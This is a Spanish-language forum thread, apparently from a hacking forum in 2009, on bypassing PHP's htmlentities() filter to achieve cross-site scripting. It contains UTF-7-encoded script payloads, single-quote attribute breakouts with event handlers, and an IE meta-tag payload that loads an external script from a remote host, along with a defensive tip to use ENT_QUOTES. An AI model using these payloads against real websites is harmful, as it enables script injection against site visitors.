Hola, escribo este post para ver si alguien conoce una forma de bypass del filtro htmlentities().
No me acuerdo donde lei que había una forma que era cambiando la codificacion de utf-8 a utf-7 o algo así.
Si alguien conoce alguna forma de pasarlo que lo posteará aqui porfavor.
depende de como y donde este puesto.. y con que argumentos.
Si es algo asi :
$texto = htmlentities($_GET['texto'])
echo $texto
Se podría pasar?
Te cuento lo que sucede,
Cuando una aplicación wb está utilizando una codificación UTF-7 puedes hacer el bypass o sea poder escribir código html dentro del sitio web siempre y cuando te permita escribir en el como por ejemplo un buscador y cosas así donde lo que tu escribas quede reflejado en ese sitio.
<?php
header('Content-Type: text/html; charset=UTF-7');
echo htmlentities($_GET['buscar']);
?>
Si en este ejemplo lo pones en un servidor puedes ver que te envía una cabezera UTF-7 asi que toda la codificación del sitio web estará en UTF-7.
Probamos..
Pedimos:
test.php?buscar=<script>alert(/XSS/);</script>Nos debuelve:
Citar<script>alert(/XSS/);</script>
Ahora si lo convertimos en utf7 antes de enviar nos queda así:
<?php echo mb_convert_encoding('<script>alert(/XSS/);</script>', 'UTF-7'); ?>
Citar+ADw-script+AD4-alert(/XSS/)+ADsAPA-/script+AD4-
Tomamos eso y lo enviamos al script vulnerable:
Pedimos:
test.php?buscar=+ADw-script+AD4-alert(/XSS/)+ADsAPA-/script+AD4-Nos debuelve:
Citar<script>alert(/XSS/);</script>
Pero solo sirven con sitios que declaren en sus cabezeras que están haciendo uso del UTF-7.
Ahora como dice sdc también es importante ver como está hecho el sitio antes de sacar conclusiones porque por ejemplo talves filtra las comillas dobles y las simples no y talves para encerrar sus variables html hace uso de comillas dobles y puede causar un xss como por ejemplo:
<input type='test' value='<?php echo htmlentities($_GET['nombre']); ?>' />
En este caso aunque esté haciendo uso de utf8 podrá causarse un xss escapando con las comillas simples:
test.php?nombre=x' onload(/xss/) id='xPuedes encontrar la información acá:
http://us3.php.net/htmlentities
Citar
Example #1 Un ejemplo de htmlentities()
<?php
$str = "A 'quote' is <b>bold</b>";
// Outputs: A 'quote' is <b>bold</b>
echo htmlentities($str);
// Outputs: A &#039;quote&#039; is <b>bold</b>
echo htmlentities($str, ENT_QUOTES);
?>
Si te fijas en el caso de no declarar ENT_QUOTES estás dejando libre las comillas simples y es un error muy común.
Yo recomendaría hacer uso de
htmlspecialchars($texto, ENT_QUOTES) previniendo este tipo de ataques aunque un buén uso de htmlentities debería dar casi el mismo resultado.
Muchas gracias WHK!! Ahora mismo hago unas pruebas.
Pero de todas formas , aunque te permita salirte del campo de texto ( en el caso que no filtre las comillas simples) no puede pasar otros carácteres como "<" y ">".
No, no se puede pero por eso depende mucho del sitio web porque si está dentro de un input o un código javascript puedes hacer un xss igual sin esos carácteres.
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_10409-t244090.0.html
Puedes leer los temas que tengan relación con XSS para que tengas mas claro como hacerlo.
Cita de: braulio23 en 12 Abril 2009, 22:05 PM
Si es algo asi :
$texto = htmlentities($_GET['texto'])
echo $texto
Se podría pasar?
Si puedes pasar ese filtro en IE, mandando una meta tag encodeada en UTF-7 especificando que el contenido es UTF-7.
Creo que ya lo entiendo,
por ejemplo tenemos una aplicacion que sea algo asi:
$ruta= htmlentities($_GET['ruta'];)
echo "Esto es una foto...<img src='$ruta' > ";
Nosotros podriamos meter en la variable ruta :
http://taltal/imagen.jpg ' onload=alert(/XSS/)
Entonces al final quedaría asi :
Esto es una foto... <img src='[color=red]http://taltal/imagen.jpg' onload=alert(/XSS/)[/color]'>
Esto es debido a que no filtra las comillas simples.
Nolo he probado , pero creo que esta bien.
Gracias por contestar.
Cita de: sirdarckcat en 13 Abril 2009, 04:03 AM
Si puedes pasar ese filtro en IE, mandando una meta tag encodeada en UTF-7 especificando que el contenido es UTF-7.
¿Podrias explicar o pasar algun tutorial sobre como hacer eso?
Si..
http://openmya.hacker.jp/hasegawa/security/utf7cs.html
Abre esta pagina en IE:
http://www.sirdarckcat.net/utf7.html
El codigo:
+ADw-/title+AD4APA-meta http-equiv+AD0AIg-Content-Type+ACI content+AD0AIg-text/html+ADs charset+AD0-UTF-7+ACI-/+AD4APA-script src+AD0AIg-//h4k.in+ACIAPgA8-/script+AD4-
Pasa htmlentities sin problemas.
Saludos!!